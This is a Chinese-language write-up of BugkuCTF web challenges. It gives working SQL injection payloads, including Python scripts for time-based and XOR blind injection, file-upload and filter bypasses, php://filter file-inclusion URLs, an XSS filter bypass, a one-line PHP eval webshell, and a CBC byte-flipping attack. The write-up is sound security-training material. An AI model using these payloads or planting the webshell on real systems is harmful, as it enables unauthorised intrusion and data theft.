BUGKUctf-web-writeup
找到了個ctf平台。里面的web挺多的。終於將web題目寫的差不多了。
Web
簽到題
加群就可以了
Web2
直接F12
就看到了
文件上傳測試
Burp
抓包
文件名改成 1.jpg.php
即可
計算題
F12
改長度限制即可
Web3
阻止一直彈框,然后源代碼
Unicode
解碼下就可以了
Sql注入
右鍵源代碼,看到gb2312
易想到寬字節注入
測試下
爆出數據庫:
結合題目,得flag
SQL注入1
Sql語句:$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
可以用%00
繞過關鍵字過濾
爆出數據庫:
Flag :
你必須讓他停下
Burp抓包
,返回的包圖片不一樣. Intruder
多次試試
隨便構造沒用的參數發送就行了
根據length
查看就行了
本地包含
源代碼
eval
存在命令執行漏洞,構造出文件包含
Base64解碼即可
后來得知可以這么寫。
積累太少。
變量1
源代碼
(和“百度杯”CTF比賽(二月場)題目一致)
提示flag在變量里。正則匹配只能大小寫字符和數字。 eval("var_dump($$args);");
打印出變量的值。 利用超全局數組GLOBALS
可以打印出所有變量。
Web4
右鍵源代碼 看見了一串js代碼 先URL解碼
就是拼接 67d709b2b54aa2aa648cf6e87a7114f1
提交
Web5
右鍵源代碼,將JSfuck
代碼扔進F12控制台
flag在index里
點下鏈接http://120.24.86.145:8005/post/index.php?file=show.php
發現File參數 易想到文件包含漏洞
PAYLOAD:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
Base64解碼
phpcmsV9
利用注冊頁面的漏洞試試能不能getshell。顯示操作失敗。
所以只能先利用sql注入,注入出后台賬號和密碼。網上有很多注入exp。
花了一毛解密 a123456
在后台可以直接看到我們在注冊頁面上傳的shell ,原來只是沒回顯。 菜刀連上去即可
海洋CMS
利用網上已經知道的漏洞。
根據提示,列出目錄開始找。
輸入密碼查看flag
根據提示 用burp
爆破
前女友
點鏈接看到源代碼
利用PHPmd5()漏洞
與strcmp()漏洞
成績單
容易看出考SQL注入
爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1
爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#
Flag:-1' union select 1,skctf_flag,3,4 from fl4g#
Web6
Flag base64
解碼后還有base64
的字符 在解碼 。 是串數字。根據提示就是要把那串數字POST過去 ,要短時間內。Python腳本:
#!usr/bin/env python
#!coding=utf-8
__author__ = 'zhengjim'
import requests
import base64
url ='http://120.24.86.145:8002/web6/'
r =requests.session()
headers = r.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':key}
print r.post(url=url,data=data).content
cookies欺騙??
點進來URL
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ=
解碼是keys.txt
所以替換成base64后的index.php。Line是行數
遍歷獲得源代碼
得到源代碼后,看出,構造cookie margin=margin
然后讀keys.php
即可
xss
過濾<
、>
用\u003cscript\u003ealert(_key_)\u003c/script\u003e
可繞過
never give up
發現提示1p.html
訪問1p.html
后發現了一串WORDS。解碼。有串base64解碼 。在url解碼
直接訪問即可(出題人應該是忘記屏蔽了-。-)
正解應該是
welcome to bugkuctf
看源代碼:
txt參數的File_get_contents()
利用php://input
來繞過file
的include()
文件包含
讀出hint.php
解碼后:
在讀flag.php
,結果提示不給flag 於是讀下index.php
發現正則匹配file 不能包含flag
看到這段代碼及hint.php
類有個 __toString()
構造函數,可以構造password的序列化。然后反序列讀出flag.php
文件
login1
根據提示 就是注冊一個賬號如下
admin a
然后就可以重置admin
密碼,后登入即可。
過狗一句話
看提示 猜測index.php
就是shell,於是直接利用
flag
各種繞過喲
根據源代碼 GET 一個unname
和POST一個passwd
值不能相等,sha1要相等 ,提交數組。Sha1()均返回null
繞過
Web8
根據源代碼
extract
可以將$_GET數組
的值轉為變量,默認是如果有沖突,則覆蓋已有的變量。
File_get_contents()
利用php://input
繞過。
字符?正則?
一步步跟着匹配即可,[:punct:]
是匹配任何標點符號
考細心
看主頁404,但和真正的404頁面不一樣,沒什么發現,於是試了下robots.txt
發現了resusl.php
文件。
本來以為是偽造IP,然后注入得到password
,提交。然后均失敗了。 試了下?x=admin
出現flag。。。
求getshell
上傳題。 各種方法嘗試。發現是后綴名黑名單檢測和類型檢測
php別名:php2, php3, php4, php5, phps, pht, phtm, phtml
均試下。
發現php5
繞過
上面的Content-Type
的值 大小寫繞過
flag.php
點了沒反應,提示:hint
多次嘗試,發現GET一個hint
就有源代碼
審計代碼,要傳一個cookie名為ISecer
的反序列的值。並且反序列后的值要全相等於"$KEY"
這里要注意是有雙引號。
而且$KEY的傳值的此之后的。所以反序列的值不是ISecer:www.isecer.com
。
我們要得到的值是string(0) ""
所以序列化該值即可。
Web15
給了源代碼
是INSERT INTO
的注入,並且不能有,
否則會吃掉后面的語句
Payload:11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1
Python腳本
import requests
import string
url="http://120.24.86.145:8002/web15/"
allString=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,33):
for str1 in allString:
data="11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1".format(str(i),str1)
# print data
headers={"x-forwarded-for":data}
try:
res=requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout, e:
flag += str1
print flag
break
print 'flag:' + flag
文件包含2
看見file想到文件包含,php://filter/read=convert.base64-encode/resource=hello.php
失敗。
右鍵源代碼,發現有個upload.php
上傳。所以上傳一個帶一句話木馬的圖片包含即可。
<?php
、 ?>
這兩個被過濾了。換個姿勢上傳~
<?=eval($_POST['cmd']);
成功連接
sql注入2
根據題目sql注入 試了好久好久,於是請教他人。。。結果大牛說訪問下flag
就行了。巨坑!
wordpress
登入后台。根據這個構造賬號密碼 sun/sun19980321
看到隱藏文章
經人提醒才知道,是數據庫
找到http://wp.bugku.com/phpmyadmin/ 登入
Login3
過濾了空格or and where + * union ,%0a %0b
等等
測試得出用 ^
Payload
import requests
url = 'http://47.93.190.246:49167/index.php'
r = requests.Session()
result = ''
for i in range(1,33):
for j in range(37,127):
payload = "admin1'^(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
print payload
data = {"username":payload,"password":"asd"}
html = r.post(url,data=data)
if "password error!" in html.content:
result += chr(j)
print result
break
print result
跑出MD5解密 登入即可
login4
看到登入框就試試有沒有注入,源代碼泄露。 發現.index.php.swp
存在
恢復成源碼。
根據提示,知道了是利用cbc字符翻轉攻擊。
原理看文章:http://wooyun.jozxing.cc/static/drops/tips-7828.html
首先先post username = ‘qdmin’ password=’1’
會得到一個iv
和cipher
利用CBC字節翻轉攻擊將qdmin
的q
改成 a
后加密得到cipher
。
替換cookie[cipher]
的值 訪問。
反序列化失敗。 原因是第一個塊數據(16字節)被破壞了。因為要username
要等於admin
所以不能利用文章里的說的填充字符。 又因為是第一個塊數據被破壞,第一個塊數據是和IV
有關,所以只要將在CBC字符翻轉攻擊,得到新的IV就可以修復第一塊數據。
代入vi
即可